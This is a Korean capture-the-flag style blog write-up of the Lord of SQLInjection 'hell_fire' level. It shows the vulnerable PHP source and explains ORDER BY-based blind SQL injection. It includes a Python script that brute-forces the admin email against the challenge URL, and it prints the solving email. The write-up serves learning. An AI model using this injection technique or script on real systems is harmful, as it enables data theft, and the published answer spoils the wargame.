LOS #23 hell_fire

2020. 12. 14. 19:34
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source Code

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

 

Query

select id,email,score from prob_hell_fire where 1 order by

 

Write-up

[사진 1]

문제에서 확인 가능한 정보는 다음과 같다.

  • id, email, score 칼럼을 가져온다.
  • order 파라미터를 이용하여 정렬을 할 수 있다. order by..
  • id가 'admin'일 경우 email 값이 마스킹되고 있다.
  • email 파라미터의 경우 PHP의 addslashes() 함수로 필터링 된다.
  • 정확한 email을 입력해야만 문제가 풀린다.

정렬 순서를 조작하여 블라인드 인젝션을 수행할 수 있다.

 

* PHP addslashes() Function

 

PHP: addslashes - Manual

spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that

www.php.net

* SQL order by

 

SQL ORDER BY Keyword

SQL ORDER BY Keyword The SQL ORDER BY Keyword The ORDER BY keyword is used to sort the result-set in ascending or descending order. The ORDER BY keyword sorts the records in ascending order by default. To sort the records in descending order, use the DESC

www.w3schools.com

 

[사진 2]

테스트 테이블을 만들고 order by 옵션으로 select를 하면 위와 같이 order by 옵션에 따라 정렬 순서가 바뀌는 것을 확인할 수 있다. "where 1" 옵션은 전체 row를 출력시킨다.

 

[사진 3]

order by는 위와 같이 사용할수도 있는데, 특정 값을 최하단에 오도록 정렬할 수 있다.

 

[사진 4]

desc 옵션을 주면 위와 같이 최상단에 오도록 정렬시킬 수 있다. desc 옵션은 디폴트 옵션인 asc의 반대 기능을 하는데, 내림차순으로 정렬시키는 것을 의미한다.

 

[사진 5]

위와 같이 asc, desc 옵션에 따라 정렬 순서가 바뀌는 것을 확인할 수 있다.

 

[사진 6]

이제 order by와 desc를 조합하여 블라인드 인젝션을 수행해볼 수 있다. 위와 같이 and 옵션을 통해 id는 'admin' 값으로 고정한 뒤에 length() 함수로 id가 'admin'인 email 값의 길이를 구할 수 있다. 두 번째 쿼리문의 결과를 보면 email 값의 길이가 14일 때 id가 'admin'인 필드를 출력한다.

 

[사진 7]

이제 substr 함수로 email 값을 탈취해보자. and 옵션으로 id 값은 'admin'으로 고정하고 한글자씩 비교하여 출력되는 결과에 따라 일치 여부를 확인할 수 있다. 위와 같이 첫 번째 쿼리문의 결과로 admin 필드가 출력되므로 email 값의 첫 번째 글자는 'a'임을 알 수 있다. 이 과정을 python으로 자동화시킬 수 있는데, 코드는 다음과 같다.

 

#!/usr/bin/py
#-*-coding:utf-8 -*-

import requests

def GetEmailLength(t, s):
  MIN_LENGTH = 1
  MAX_LENGTH = 100
  i = MIN_LENGTH

  while i <= MAX_LENGTH:
    try:
      tmpEmailLength = str(i)
      payload = t + "?order=id='admin' and length(email)=" + tmpEmailLength + " desc limit 1"
      r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
      #print(payload)

    except OSError as e:
      continue

    except Exception as e:
      print("GetEmailLength() Error...")
      print(e)
      exit(1)

    if ">admin<" in r.text:
      return i
    
    i += 1

def GetEmail(t, s, lengthEmail):
  FIRST_ASCII = 32
  LAST_ASCII = 127
  BACK_SLASH = 92
  tmpEmail = ""

  for i in range(1, lengthEmail + 1):
    j = FIRST_ASCII
    while j <= LAST_ASCII:
      try:
        # backslash error bypass
        if j == BACK_SLASH:
          j += 1
        
        tmpChar = chr(j)
        payload = t + "?order=id='admin' and substr(email, " + str(i) + ", 1)=binary(\'" + tmpChar +"\') desc limit 1"
        r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
        #print(payload)

      # Caused by NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7f9f58e66910>: Failed to establish a new connection: [Errno 110] Connection timed out'))
      except OSError as e:
        continue

      except Exception as e:
        print("GetEmail Error...")
        print(e)
        exit(1)

      # ascii code 0d95 "_" => "Hack" bypass
      if ">admin<" in r.text:
        tmpEmail += chr(j)
        print("Stolen Email : %s" %(tmpEmail))
        break

      j += 1
      
  return tmpEmail

if __name__ == "__main__":
  t = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
  session = "" # Session
  email = ""

  lengthEmail = GetEmailLength(t, session)
  print("Length of Email : %d\n" %(lengthEmail))

  email = GetEmail(t, session, lengthEmail)
  print("Final Email : %s" %(email))

[사진 8]

위와 같이 python으로 email 값을 탈취할 수 있는데 총 길이가 28인 반면, 실제 email의 길이는 26이다. 왜 그럴까 고민을 해봤는데, 블라인드 인젝션을 수행하기 위해 사용하는 파라미터 order에서 "_", "." 문자가 필터링되기 때문이었다. email 값은 "admin_scure_email@emai1.com"이다.

 

 

* code

 

0xe82de/LOS

lord of sql injection. Contribute to 0xe82de/LOS development by creating an account on GitHub.

github.com

 

Parameter

email=admin_scure_email@emai1.com

 

Success

[사진 9]

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #24 evil_wizard  (0) 2020.12.15
LOS #22 dark_eyes  (0) 2020.12.09
LOS #21 iron_golem  (0) 2020.12.08
LOS #20 dragon  (0) 2020.10.28
LOS #19 xavis  (0) 2020.10.28

+ Recent posts